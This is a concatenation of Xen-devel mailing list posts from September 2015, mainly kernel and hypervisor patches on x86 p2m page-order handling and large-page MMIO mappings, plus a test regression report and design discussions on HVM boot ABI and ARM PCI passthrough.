@@ -763,8 +778,6 @@ pod_retry_l3:
 unmap_domain_page(l3e);
 
 ASSERT(mfn_valid(mfn) || !p2m_is_ram(*t));
-if ( page_order )
-*page_order = PAGE_ORDER_1G;
 return (p2m_is_valid(*t)) ? mfn : _mfn(INVALID_MFN);
 }
 
@@ -776,6 +789,8 @@ pod_retry_l3:
 
 l2e = map_domain_page(mfn);
 l2e += l2_table_offset(addr);
+if ( page_order )
+*page_order = PAGETABLE_ORDER;
 
 pod_retry_l2:
 flags = l2e_get_flags(*l2e);
@@ -802,8 +817,6 @@ pod_retry_l2:
 unmap_domain_page(l2e);
 
 ASSERT(mfn_valid(mfn) || !p2m_is_ram(*t));
-if ( page_order )
-*page_order = PAGE_ORDER_2M;
 return (p2m_is_valid(*t)) ? mfn : _mfn(INVALID_MFN);
 }
 
@@ -814,6 +827,9 @@ pod_retry_l2:
 
 l1e = map_domain_page(mfn);
 l1e += l1_table_offset(addr);
+if ( page_order )
+*page_order = 0;
+
 pod_retry_l1:
 flags = l1e_get_flags(*l1e);
 l1t = p2m_flags_to_type(flags);
@@ -837,8 +853,6 @@ pod_retry_l1:
 unmap_domain_page(l1e);
 
 ASSERT(mfn_valid(mfn) || !p2m_is_ram(*t) || p2m_is_paging(*t));
-if ( page_order )
-*page_order = PAGE_ORDER_4K;
 return (p2m_is_valid(*t) || p2m_is_grant(*t)) ? mfn : _mfn(INVALID_MFN);
 }
 



x86/NPT: always return proper order value from p2m_pt_get_entry()

This is so that callers can determine what range of address space would
get altered by a corresponding "set".

Signed-off-by: Jan Beulich 

--- a/xen/arch/x86/mm/p2m-pt.c
+++ b/xen/arch/x86/mm/p2m-pt.c
@@ -715,14 +715,26 @@ p2m_pt_get_entry(struct p2m_domain *p2m,
 *a = p2m_access_rwx; 
 
 if ( gfn > p2m->max_mapped_pfn )
+{
 /* This pfn is higher than the highest the p2m map currently holds */
+if ( page_order )
+{
+for ( *page_order = 3 * PAGETABLE_ORDER; *page_order;
+  *page_order -= PAGETABLE_ORDER )
+if ( (gfn & ~((1UL << *page_order) - 1)) >
+ p2m->max_mapped_pfn )
+break;
+}
 return _mfn(INVALID_MFN);
+}
 
 mfn = pagetable_get_mfn(p2m_get_pagetable(p2m));
 
 {
 l4_pgentry_t *l4e = map_domain_page(mfn);
 l4e += l4_table_offset(addr);
+if ( page_order )
+*page_order = 3 * PAGETABLE_ORDER;
 if ( (l4e_get_flags(*l4e) & _PAGE_PRESENT) == 0 )
 {
 unmap_domain_page(l4e);
@@ -735,6 +747,9 @@ p2m_pt_get_entry(struct p2m_domain *p2m,
 {
 l3_pgentry_t *l3e = map_domain_page(mfn);
 l3e += l3_table_offset(addr);
+if ( page_order )
+*page_order = 2 * PAGETABLE_ORDER;
+
 pod_retry_l3:
 flags = l3e_get_flags(*l3e);
 if ( !(flags & _PAGE_PRESENT) )
@@ -763,8 +778,6 @@ pod_retry_l3:
 unmap_domain_page(l3e);
 
 ASSERT(mfn_valid(mfn) || !p2m_is_ram(*t));
-if ( page_order )
-*page_order = PAGE_ORDER_1G;
 return (p2m_is_valid(*t)) ? mfn : _mfn(INVALID_MFN);
 }
 
@@ -776,6 +789,8 @@ pod_retry_l3:
 
 l2e = map_domain_page(mfn);
 l2e += l2_table_offset(addr);
+if ( page_order )
+*page_order = PAGETABLE_ORDER;
 
 pod_retry_l2:
 flags = l2e_get_flags(*l2e);
@@ -802,8 +817,6 @@ pod_retry_l2:
 unmap_domain_page(l2e);
 
 ASSERT(mfn_valid(mfn) || !p2m_is_ram(*t));
-if ( page_order )
-*page_order = PAGE_ORDER_2M;
 return (p2m_is_valid(*t)) ? mfn : 

[Xen-devel] [PATCH net-next] xen-netfront: always set num queues if possible

[Charles (Chas) Williams]

The xen store preserves this information across module invocations.
If you insmod netfront with two queues and later insmod again with one
queue, the backend will still believe you asked for two queues.

Signed-off-by: Chas Williams <3ch...@gmail.com>
---
 drivers/net/xen-netfront.c | 12 +++-
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/drivers/net/xen-netfront.c b/drivers/net/xen-netfront.c
index f821a97..b53a681 100644
--- a/drivers/net/xen-netfront.c
+++ b/drivers/net/xen-netfront.c
@@ -1819,11 +1819,7 @@ again:
goto destroy_ring;
}
 
-   if (num_queues == 1) {
-   err = write_queue_xenstore_keys(>queues[0], , 0); /* 
flat */
-   if (err)
-   goto abort_transaction_no_dev_fatal;
-   } else {
+   if (xenbus_exists(xbt, dev->nodename, "multi-queue-num-queues")) {
/* Write the number of queues */
err = xenbus_printf(xbt, dev->nodename, 
"multi-queue-num-queues",
"%u", num_queues);
@@ -1831,7 +1827,13 @@ again:
message = "writing multi-queue-num-queues";
goto abort_transaction_no_dev_fatal;
}
+   }
 
+   if (num_queues == 1) {
+   err = write_queue_xenstore_keys(>queues[0], , 0); /* 
flat */
+   if (err)
+   goto abort_transaction_no_dev_fatal;
+   } else {
/* Write the keys for each queue */
for (i = 0; i < num_queues; ++i) {
queue = >queues[i];
-- 
2.1.0




___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 3/4 RFC] x86/p2m: use large pages for MMIO mappings

[Jan Beulich]

When mapping large BARs (e.g. the frame buffer of a graphics card) the
overhead or establishing such mappings using onle 4k pages has,
particularly after the XSA-125 fix, become unacceptable. Alter the
XEN_DOMCTL_memory_mapping semantics once again, so that there's no
longer a fixed amount of guest frames that represents the upper limit
of what a single invocation can map. Instead bound execution time by
limiting the number of iterations (regardless of page size).

Signed-off-by: Jan Beulich 
---
RFC reasons:
- ARM side unimplemented (and hence libxc for now made cope with both
  models), the main issue (besides my inability to test any change
  there) being the many internal uses of map_mmio_regions())
- error unmapping in map_mmio_regions() and error propagation to caller
  from unmap_mmio_regions() are not satisfactory (for the latter a
  possible model might be to have the function - and hence the domctl -
  return the [non-zero] number of completed entries upon error,
  requiring the caller to re-invoke the hypercall to then obtain the
  actual error for the failed slot)
- iommu_{,un}map_page() interfaces don't support "order" (hence
  mmio_order() for now returns zero when !iommu_hap_pt_share, which in
  particular means the AMD side isn't being take care of just yet)

--- a/tools/libxc/xc_domain.c
+++ b/tools/libxc/xc_domain.c
@@ -2215,7 +2215,7 @@ int xc_domain_memory_mapping(
 {
 DECLARE_DOMCTL;
 xc_dominfo_t info;
-int ret = 0, err;
+int ret = 0, rc;
 unsigned long done = 0, nr, max_batch_sz;
 
 if ( xc_domain_getinfo(xch, domid, 1, ) != 1 ||
@@ -2240,19 +2240,24 @@ int xc_domain_memory_mapping(
 domctl.u.memory_mapping.nr_mfns = nr;
 domctl.u.memory_mapping.first_gfn = first_gfn + done;
 domctl.u.memory_mapping.first_mfn = first_mfn + done;
-err = do_domctl(xch, );
-if ( err && errno == E2BIG )
+rc = do_domctl(xch, );
+if ( rc < 0 && errno == E2BIG )
 {
 if ( max_batch_sz <= 1 )
 break;
 max_batch_sz >>= 1;
 continue;
 }
+if ( rc > 0 )
+{
+done += rc;
+continue;
+}
 /* Save the first error... */
 if ( !ret )
-ret = err;
+ret = rc;
 /* .. and ignore the rest of them when removing. */
-if ( err && add_mapping != DPCI_REMOVE_MAPPING )
+if ( rc && add_mapping != DPCI_REMOVE_MAPPING )
 break;
 
 done += nr;
--- a/xen/arch/x86/domain_build.c
+++ b/xen/arch/x86/domain_build.c
@@ -436,7 +436,7 @@ static __init void pvh_add_mem_mapping(s
 else
 a = p2m_access_rwx;
 
-if ( (rc = set_mmio_p2m_entry(d, gfn + i, _mfn(mfn + i), a)) )
+if ( (rc = set_mmio_p2m_entry(d, gfn + i, _mfn(mfn + i), 0, a)) )
 panic("pvh_add_mem_mapping: gfn:%lx mfn:%lx i:%ld rc:%d\n",
   gfn, mfn, i, rc);
 if ( !(i & 0xf) )
--- a/xen/arch/x86/hvm/vmx/vmx.c
+++ b/xen/arch/x86/hvm/vmx/vmx.c
@@ -2396,7 +2396,8 @@ static int vmx_alloc_vlapic_mapping(stru
 share_xen_page_with_guest(virt_to_page(apic_va), d, XENSHARE_writable);
 d->arch.hvm_domain.vmx.apic_access_mfn = virt_to_mfn(apic_va);
 set_mmio_p2m_entry(d, paddr_to_pfn(APIC_DEFAULT_PHYS_BASE),
-_mfn(virt_to_mfn(apic_va)), p2m_get_hostp2m(d)->default_access);
+   _mfn(virt_to_mfn(apic_va)), 0,
+   p2m_get_hostp2m(d)->default_access);
 
 return 0;
 }
--- a/xen/arch/x86/mm/p2m.c
+++ b/xen/arch/x86/mm/p2m.c
@@ -897,39 +897,47 @@ void p2m_change_type_range(struct domain
 
 /* Returns: 0 for success, -errno for failure */
 static int set_typed_p2m_entry(struct domain *d, unsigned long gfn, mfn_t mfn,
-   p2m_type_t gfn_p2mt, p2m_access_t access)
+   unsigned int order, p2m_type_t gfn_p2mt,
+   p2m_access_t access)
 {
 int rc = 0;
 p2m_access_t a;
 p2m_type_t ot;
 mfn_t omfn;
+unsigned int cur_order = 0;
 struct p2m_domain *p2m = p2m_get_hostp2m(d);
 
 if ( !paging_mode_translate(d) )
 return -EIO;
 
-gfn_lock(p2m, gfn, 0);
-omfn = p2m->get_entry(p2m, gfn, , , 0, NULL, NULL);
+gfn_lock(p2m, gfn, order);
+omfn = p2m->get_entry(p2m, gfn, , , 0, _order, NULL);
+if ( cur_order < order )
+{
+gfn_unlock(p2m, gfn, order);
+return cur_order + 1;
+}
 if ( p2m_is_grant(ot) || p2m_is_foreign(ot) )
 {
-gfn_unlock(p2m, gfn, 0);
+gfn_unlock(p2m, gfn, order);
 domain_crash(d);
 return -ENOENT;
 }
 else if ( p2m_is_ram(ot) )
 {
+unsigned long i;
+
 ASSERT(mfn_valid(omfn));
-set_gpfn_from_mfn(mfn_x(omfn), INVALID_M2P_ENTRY);
+for ( i = 0; i < (1UL << order); ++i )
+set_gpfn_from_mfn(mfn_x(omfn) + i, INVALID_M2P_ENTRY);
  

Re: [Xen-devel] [PATCH 2/4] x86/NPT: always return proper order value from p2m_pt_get_entry()

[Jan Beulich]

Please disregard this - hit "send" too early.

>>> On 15.09.15 at 09:31,  wrote:
 On 15.09.15 at 09:13,  wrote:
>> ... where possible. This is in response to
>> http://lists.xenproject.org/archives/html/xen-devel/2015-09/msg01502.html,
>> albeit only the first three patches are really needed for that (the
>> fourth one just leverages what the first two do in another way).
>> The third (main) patch is RFC for a number of reasons - see there.
>> 
>> 1: EPT: always return proper order value from ept_get_entry()
>> 2: 
>> 3: p2m: use large pages for MMIO mappings
>> 4: PoD: shorten updates for certain operations on higher order ranges
>> 
>> Signed-off-by: Jan Beulich 
>> 
>> 
>> ___
>> Xen-devel mailing list
>> Xen-devel@lists.xen.org 
>> http://lists.xen.org/xen-devel 
> 
> 
> 
> 
> ___
> Xen-devel mailing list
> Xen-devel@lists.xen.org 
> http://lists.xen.org/xen-devel 




___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [libvirt test] 61890: regressions - FAIL

[osstest service owner]

flight 61890 libvirt real [real]
http://logs.test-lab.xenproject.org/osstest/logs/61890/

Regressions :-(

Tests which did not succeed and are blocking,
including tests which could not be run:
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsm 16 
guest-start/debianhvm.repeat fail REGR. vs. 61770
 test-armhf-armhf-libvirt-raw  6 xen-boot  fail REGR. vs. 61770

Tests which did not succeed, but are not blocking:
 test-armhf-armhf-libvirt-qcow2  9 debian-di-installfail never pass
 test-armhf-armhf-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-xsm 14 guest-saverestorefail   never pass
 test-amd64-amd64-libvirt-xsm 12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt  12 migrate-support-checkfail   never pass
 test-armhf-armhf-libvirt-vhd  9 debian-di-installfail   never pass
 test-amd64-i386-libvirt-pair 21 guest-migrate/src_host/dst_host fail never pass
 test-armhf-armhf-libvirt 14 guest-saverestorefail   never pass
 test-armhf-armhf-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-raw 11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-vhd  11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-libvirt-xsm  12 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt-pair 21 guest-migrate/src_host/dst_host fail never 
pass
 test-amd64-amd64-libvirt-vhd 11 migrate-support-checkfail   never pass
 test-amd64-amd64-libvirt 12 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsm 10 migrate-support-check 
fail never pass
 test-amd64-i386-libvirt-raw  11 migrate-support-checkfail   never pass
 test-amd64-i386-libvirt-qcow2 11 migrate-support-checkfail  never pass
 test-amd64-amd64-libvirt-qcow2 11 migrate-support-checkfail never pass

version targeted for testing:
 libvirt  db35beaa1d276cc229dcbbc8460ce2fccdda5084
baseline version:
 libvirt  80dca1eba9908547b099153f08fb2aa143ca4f23

Last test of basis61770  2015-09-10 19:06:11 Z4 days
Testing same since61890  2015-09-13 03:39:21 Z2 days1 attempts


People who touched revisions under test:
  Cole Robinson 
  Daniel P. Berrange 
  Ian Campbell 
  Martin Kletzander 

jobs:
 build-amd64-xsm  pass
 build-armhf-xsm  pass
 build-i386-xsm   pass
 build-amd64  pass
 build-armhf  pass
 build-i386   pass
 build-amd64-libvirt  pass
 build-armhf-libvirt  pass
 build-i386-libvirt   pass
 build-amd64-pvopspass
 build-armhf-pvopspass
 build-i386-pvops pass
 test-amd64-amd64-libvirt-qemuu-debianhvm-amd64-xsm   pass
 test-amd64-i386-libvirt-qemuu-debianhvm-amd64-xsmfail
 test-amd64-amd64-libvirt-xsm pass
 test-armhf-armhf-libvirt-xsm fail
 test-amd64-i386-libvirt-xsm  pass
 test-amd64-amd64-libvirt pass
 test-armhf-armhf-libvirt fail
 test-amd64-i386-libvirt  pass
 test-amd64-amd64-libvirt-pairfail
 test-amd64-i386-libvirt-pair fail
 test-amd64-amd64-libvirt-qcow2   pass
 test-armhf-armhf-libvirt-qcow2   fail
 test-amd64-i386-libvirt-qcow2pass
 test-amd64-amd64-libvirt-raw pass
 test-armhf-armhf-libvirt-raw fail
 test-amd64-i386-libvirt-raw  pass
 test-amd64-amd64-libvirt-vhd pass
 test-armhf-armhf-libvirt-vhd fail
 test-amd64-i386-libvirt-vhd  pass



sg-report-flight on osstest.test-lab.xenproject.org
logs: /home/logs/logs
images: 

Re: [Xen-devel] [Draft C] Boot ABI for HVM guests without a device-model

[Jan Beulich]

>>> On 15.09.15 at 09:08,  wrote:
> El 07/09/15 a les 12.05, Jan Beulich ha escrit:
> On 07.09.15 at 11:34,  wrote:
>>> So AFAICS we have 3 options:
>>>
>>> 1. Overload VCPUOP_initialise like it's done in the current series (v6).
>>> For PV guests the hypercall parameter is of type vcpu_guest_context,
>>> while for HVM guests the parameter is of type vcpu_hvm_context.
>>>
>>> 2. Create a new hypercall (VCPUOP_hvm_initialise) only available to HVM
>>> guests, that only allows vcpu_hvm_context as a parameter.
>>>
>>> 3. Deprecate current VCPUOP_initialise, introduce a new
>>> VCPUOP_initialise, that takes the following parameter:
>>>
>>> union vcpu_context {
>>> struct vcpu_guest_context pv_ctx;
>>> struct vcpu_hvm_context hvm_ctx;
>>> };
>>>
>>> TBH, I don't have an opinion between 2 and 3, but I would like to get a
>>> consensus before I start implementing any of those.
>> 
>> Let me first take a look at how your implementation of 1 looks like.
> 
> Ping?

Yeah, sorry, it's on my list, but keeps getting preempted.

Jan


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 0/4] x86/p2m: use large pages for MMIO mappings

[Jan Beulich]

... where possible. This is in response to
http://lists.xenproject.org/archives/html/xen-devel/2015-09/msg01502.html,
albeit only the first three patches are really needed for that (the
fourth one just leverages what the first two do in another way).
The third (main) patch is RFC for a number of reasons - see there.

1: EPT: always return proper order value from ept_get_entry()
2: NPT: always return proper order value from p2m_pt_get_entry()
3: p2m: use large pages for MMIO mappings
4: PoD: shorten updates for certain operations on higher order ranges

Signed-off-by: Jan Beulich 


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 2/4] x86/NPT: always return proper order value from p2m_pt_get_entry()

[Jan Beulich]

>>> On 15.09.15 at 09:13,  wrote:
> ... where possible. This is in response to
> http://lists.xenproject.org/archives/html/xen-devel/2015-09/msg01502.html,
> albeit only the first three patches are really needed for that (the
> fourth one just leverages what the first two do in another way).
> The third (main) patch is RFC for a number of reasons - see there.
> 
> 1: EPT: always return proper order value from ept_get_entry()
> 2: 
> 3: p2m: use large pages for MMIO mappings
> 4: PoD: shorten updates for certain operations on higher order ranges
> 
> Signed-off-by: Jan Beulich 
> 
> 
> ___
> Xen-devel mailing list
> Xen-devel@lists.xen.org 
> http://lists.xen.org/xen-devel 




___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 1/4] x86/EPT: always return proper order value from ept_get_entry()

[Jan Beulich]

This is so that callers can determine what range of address space would
get altered by a corresponding "set".

Signed-off-by: Jan Beulich 

--- a/xen/arch/x86/mm/p2m-ept.c
+++ b/xen/arch/x86/mm/p2m-ept.c
@@ -879,7 +879,13 @@ static mfn_t ept_get_entry(struct p2m_do
 
 /* This pfn is higher than the highest the p2m map currently holds */
 if ( gfn > p2m->max_mapped_pfn )
+{
+for ( i = ept_get_wl(ept); i > 0; --i )
+if ( (gfn & ~((1UL << (i * EPT_TABLE_ORDER)) - 1)) >
+ p2m->max_mapped_pfn )
+break;
 goto out;
+}
 
 /* Should check if gfn obeys GAW here. */
 
@@ -956,12 +962,12 @@ static mfn_t ept_get_entry(struct p2m_do
  ((1 << (i * EPT_TABLE_ORDER)) - 1));
 mfn = _mfn(split_mfn);
 }
-
-if ( page_order )
-*page_order = i * EPT_TABLE_ORDER;
 }
 
-out:
+ out:
+if ( page_order )
+*page_order = i * EPT_TABLE_ORDER;
+
 unmap_domain_page(table);
 return mfn;
 }



x86/EPT: always return proper order value from ept_get_entry()

This is so that callers can determine what range of address space would
get altered by a corresponding "set".

Signed-off-by: Jan Beulich 

--- a/xen/arch/x86/mm/p2m-ept.c
+++ b/xen/arch/x86/mm/p2m-ept.c
@@ -879,7 +879,13 @@ static mfn_t ept_get_entry(struct p2m_do
 
 /* This pfn is higher than the highest the p2m map currently holds */
 if ( gfn > p2m->max_mapped_pfn )
+{
+for ( i = ept_get_wl(ept); i > 0; --i )
+if ( (gfn & ~((1UL << (i * EPT_TABLE_ORDER)) - 1)) >
+ p2m->max_mapped_pfn )
+break;
 goto out;
+}
 
 /* Should check if gfn obeys GAW here. */
 
@@ -956,12 +962,12 @@ static mfn_t ept_get_entry(struct p2m_do
  ((1 << (i * EPT_TABLE_ORDER)) - 1));
 mfn = _mfn(split_mfn);
 }
-
-if ( page_order )
-*page_order = i * EPT_TABLE_ORDER;
 }
 
-out:
+ out:
+if ( page_order )
+*page_order = i * EPT_TABLE_ORDER;
+
 unmap_domain_page(table);
 return mfn;
 }
___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [v2][PATCH] xen/vtd/iommu: permit group devices to passthrough in relaxed mode

[Jan Beulich]

>>> On 15.09.15 at 03:17,  wrote:
>> > But looks its not better, so any idea?
>>
>> Did you at least make an attempt to find other examples of where
>> we dynamically determine the log level to be used for a message?
>> I would assume that if you did, you'd have come to
>>
>>  printk(XENLOG_GUEST "%s" VTDPREFIX
> 
> I didn't know this tip on Xen side and its really good.
> 
>> " It's %s to assign %04x:%02x:%02x.%u"
>> " with shared RMRR at %"PRIx64" for Dom%d.\n",
>> relaxed ? XENLOG_WARNING : XENLOG_ERROR,
>> relaxed ? "risky" : "disallowed",
>> seg, bus, PCI_SLOT(devfn), PCI_FUNC(devfn),
>> rmrr->base_address, d->domain_id);
>>
>> pretty naturally.
>>
> 
> But I noticed my original patch is already merged into staging. So

I committed it since Kevin had acked it, and it was better than
nothing. I'd still like to see the log level adjustment though...

Jan


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [Draft C] Boot ABI for HVM guests without a device-model

[Roger Pau Monné]

El 07/09/15 a les 12.05, Jan Beulich ha escrit:
 On 07.09.15 at 11:34,  wrote:
>> So AFAICS we have 3 options:
>>
>> 1. Overload VCPUOP_initialise like it's done in the current series (v6).
>> For PV guests the hypercall parameter is of type vcpu_guest_context,
>> while for HVM guests the parameter is of type vcpu_hvm_context.
>>
>> 2. Create a new hypercall (VCPUOP_hvm_initialise) only available to HVM
>> guests, that only allows vcpu_hvm_context as a parameter.
>>
>> 3. Deprecate current VCPUOP_initialise, introduce a new
>> VCPUOP_initialise, that takes the following parameter:
>>
>> union vcpu_context {
>>  struct vcpu_guest_context pv_ctx;
>>  struct vcpu_hvm_context hvm_ctx;
>> };
>>
>> TBH, I don't have an opinion between 2 and 3, but I would like to get a
>> consensus before I start implementing any of those.
> 
> Let me first take a look at how your implementation of 1 looks like.

Ping?


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

[Xen-devel] [PATCH 4/4] x86/PoD: shorten certain operations on higher order ranges

[Jan Beulich]

Now that p2m->get_entry() always returns a valid order, utilize this
to accelerate some of the operations in PoD code. (There are two uses
of p2m->get_entry() left which don't easily lend themselves to this
optimization.)

Also adjust a few types as needed and remove stale comments from
p2m_pod_cache_add() (to avoid duplicating them yet another time).

Signed-off-by: Jan Beulich 

--- a/xen/arch/x86/mm/p2m-pod.c
+++ b/xen/arch/x86/mm/p2m-pod.c
@@ -119,20 +119,23 @@ p2m_pod_cache_add(struct p2m_domain *p2m
 
 unlock_page_alloc(p2m);
 
-/* Then add the first one to the appropriate populate-on-demand list */
-switch(order)
+/* Then add to the appropriate populate-on-demand list. */
+switch ( order )
 {
+case PAGE_ORDER_1G:
+for ( i = 0; i < (1UL << PAGE_ORDER_1G); i += 1UL << PAGE_ORDER_2M )
+page_list_add_tail(page + i, >pod.super);
+break;
 case PAGE_ORDER_2M:
-page_list_add_tail(page, >pod.super); /* lock: page_alloc */
-p2m->pod.count += 1 << order;
+page_list_add_tail(page, >pod.super);
 break;
 case PAGE_ORDER_4K:
-page_list_add_tail(page, >pod.single); /* lock: page_alloc */
-p2m->pod.count += 1;
+page_list_add_tail(page, >pod.single);
 break;
 default:
 BUG();
 }
+p2m->pod.count += 1 << order;
 
 return 0;
 }
@@ -502,11 +505,10 @@ p2m_pod_decrease_reservation(struct doma
  unsigned int order)
 {
 int ret=0;
-int i;
+unsigned long i, n;
 struct p2m_domain *p2m = p2m_get_hostp2m(d);
-
-int steal_for_cache;
-int pod, nonpod, ram;
+bool_t steal_for_cache;
+long pod, nonpod, ram;
 
 gfn_lock(p2m, gpfn, order);
 pod_lock(p2m);
@@ -525,21 +527,21 @@ recount:
 /* Figure out if we need to steal some freed memory for our cache */
 steal_for_cache =  ( p2m->pod.entry_count > p2m->pod.count );
 
-/* FIXME: Add contiguous; query for PSE entries? */
-for ( i=0; i<(1<get_entry(p2m, gpfn + i, , , 0, NULL, NULL);
-
+p2m->get_entry(p2m, gpfn + i, , , 0, _order, NULL);
+n = 1UL << min(order, cur_order);
 if ( t == p2m_populate_on_demand )
-pod++;
+pod += n;
 else
 {
-nonpod++;
+nonpod += n;
 if ( p2m_is_ram(t) )
-ram++;
+ram += n;
 }
 }
 
@@ -574,41 +576,46 @@ recount:
  * + There are PoD entries to handle, or
  * + There is ram left, and we want to steal it
  */
-for ( i=0;
-  i<(1<0 || (steal_for_cache && ram > 0));
-  i++)
+for ( i = 0;
+  i < (1UL << order) && (pod > 0 || (steal_for_cache && ram > 0));
+  i += n )
 {
 mfn_t mfn;
 p2m_type_t t;
 p2m_access_t a;
+unsigned int cur_order;
 
-mfn = p2m->get_entry(p2m, gpfn + i, , , 0, NULL, NULL);
+mfn = p2m->get_entry(p2m, gpfn + i, , , 0, _order, NULL);
+if ( order < cur_order )
+cur_order = order;
+n = 1UL << cur_order;
 if ( t == p2m_populate_on_demand )
 {
-p2m_set_entry(p2m, gpfn + i, _mfn(INVALID_MFN), 0, p2m_invalid,
-  p2m->default_access);
-p2m->pod.entry_count--;
+p2m_set_entry(p2m, gpfn + i, _mfn(INVALID_MFN), cur_order,
+  p2m_invalid, p2m->default_access);
+p2m->pod.entry_count -= n;
 BUG_ON(p2m->pod.entry_count < 0);
-pod--;
+pod -= n;
 }
 else if ( steal_for_cache && p2m_is_ram(t) )
 {
 struct page_info *page;
+unsigned int j;
 
 ASSERT(mfn_valid(mfn));
 
 page = mfn_to_page(mfn);
 
-p2m_set_entry(p2m, gpfn + i, _mfn(INVALID_MFN), 0, p2m_invalid,
-  p2m->default_access);
-set_gpfn_from_mfn(mfn_x(mfn), INVALID_M2P_ENTRY);
-
-p2m_pod_cache_add(p2m, page, 0);
+p2m_set_entry(p2m, gpfn + i, _mfn(INVALID_MFN), cur_order,
+  p2m_invalid, p2m->default_access);
+for ( j = 0; j < n; ++j )
+set_gpfn_from_mfn(mfn_x(mfn), INVALID_M2P_ENTRY);
+p2m_pod_cache_add(p2m, page, cur_order);
 
 steal_for_cache =  ( p2m->pod.entry_count > p2m->pod.count );
 
-nonpod--;
-ram--;
+nonpod -= n;
+ram -= n;
 }
 }
 
@@ -649,7 +656,8 @@ p2m_pod_zero_check_superpage(struct p2m_
 p2m_type_t type, type0 = 0;
 unsigned long * map = NULL;
 int ret=0, reset = 0;
-int i, j;
+unsigned long i, n;
+unsigned int j;
 int max_ref = 1;

Re: [Xen-devel] [PATCH] KVM: arm64: add workaround for Cortex-A57 erratum #852523

[Christoffer Dall]

On Mon, Sep 14, 2015 at 04:46:28PM +0100, Marc Zyngier wrote:
> On 14/09/15 16:06, Will Deacon wrote:
> > When restoring the system register state for an AArch32 guest at EL2,
> > writes to DACR32_EL2 may not be correctly synchronised by Cortex-A57,
> > which can lead to the guest effectively running with junk in the DACR
> > and running into unexpected domain faults.
> > 
> > This patch works around the issue by re-ordering our restoration of the
> > AArch32 register aliases so that they happen before the AArch64 system
> > registers. Ensuring that the registers are restored in this order
> > guarantees that they will be correctly synchronised by the core.
> > 
> > Cc: 
> > Cc: Marc Zyngier 
> > Signed-off-by: Will Deacon 
> 
> Reviewed-by: Marc Zyngier 
> 

Looks good to me too, and I just gave this a spin with my loop test on
Juno as well.

Thanks,
-Christoffer

___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] PCI Pass-through in Xen ARM: Draft 4

[Jaggi, Manish]

On Thursday 10 September 2015 06:42 AM, Julien Grall wrote:
> Hi Manish,
Hi Julien, sorry for late response..
>
> On 13/08/2015 10:42, Manish Jaggi wrote:
>>   3.2.Mapping between streamID - deviceID - pci sbdf - requesterID
>> -
>>   For a simpler case all should be equal to BDF. But there are some 
>> devices
>>   that use the wrong requester ID for DMA transactions. Linux kernel has
>> PCI
>>   quirks for these. How the same be implemented in Xen or a diffrent
>> approach
>>   has to be taken is TODO here.
>>
>>   Till that time, for basic implementation it is assumed that all are 
>> equal
>>   to BDF.
>
> Back to this streamID = DeviceID = requestID = SBDF again...
>
> I've just found a patch for Linux send by one of your colleague about 
> tweaking the requesterID for thunder-X board (See [1]). The most 
> interesting bits are:
>
> static u32 pci_requester_id_ecam(struct pci_dev *dev)
> {
> return (((pci_domain_nr(dev->bus) >> 2) << 19) |
> ((pci_domain_nr(dev->bus) % 4) << 16) |
> (dev->bus->number << 8) | dev->devfn);
> }
>
> static u32 thunder_pci_requester_id(struct pci_dev *dev, u16 alias)
> {
> int ret;
>
> ret = thunder_pem_requester_id(dev);
> if (ret >= 0)
> return (u32)ret;
>
> return pci_requester_id_ecam(dev);
> }
>
> Which is then used to override the default function used by ITS to 
> find the deviceID.
>
> AFAICT, this means that you can't safely assume that DeviceID == sBDF 
> even for your platform. Is that right?
Yes.
>
> If so, I'm afraid that you have to handle DeviceID != sBDF (and so on) 
> in your design doc. I.e how do you plan to get the base requester ID.
>
Right. But on our platform the requesterId is uniquely generated from 
bdf. Adding David to confirm that.
> I can see 2 different solutions:
> 1) Let DOM0 pass the first requester ID when registering the bus
>Pros:
> * Less per-platform code in Xen
>Cons:
> * Assume that the requester ID are contiguous. (Is it really a 
> cons?)
> * Still require quirk for buggy device (i.e requester ID not 
> correct)
> 2) Do it in Xen
>Pros:
> * We are not relying on DOM0 giving the requester ID
> => Not assuming contiguous requester ID
> Cons:
> * Per PCI bridge code to handle the mapping
>
  We can have (3) that when PHYSDEVOP_pci_add_device is called the sbdf 
and requesterID both are passed in hypercall.
> Regards,
>
> [1] https://lkml.org/lkml/2015/7/15/703
>
>
>


___
Xen-devel mailing list
Xen-devel@lists.xen.org
http://lists.xen.org/xen-devel

Re: [Xen-devel] [PATCH RFC] xen: if on Xen, "flatten" the scheduling domain hierarchy

[Dario Faggioli]

On Wed, 2015-09-02 at 16:30 +0200, Juergen Gross wrote:
> On 09/02/2015 04:08 PM, Boris Ostrovsky wrote:
> > On 09/02/2015 07:58 AM, Juergen Gross wrote:
> >> On 08/31/2015 06:12 PM, Boris Ostrovsky wrote:

> >>> If set_cpu_sibling_map()'s has_mp is false, wouldn't we effectively have
> >>> both of your patches?
> >>
> >> Hmm, sort of.
> >>
> >> OTOH this would it make hard to make use of some of the topology
> >> information in case of e.g. pinned vcpus (as George pointed out).
> >
> >
> > I didn't mean to just set has_mp to zero unconditionally (for Xen, or
> > any other, guest). We'd need to have some logic as to when to set it to
> > false.
> 
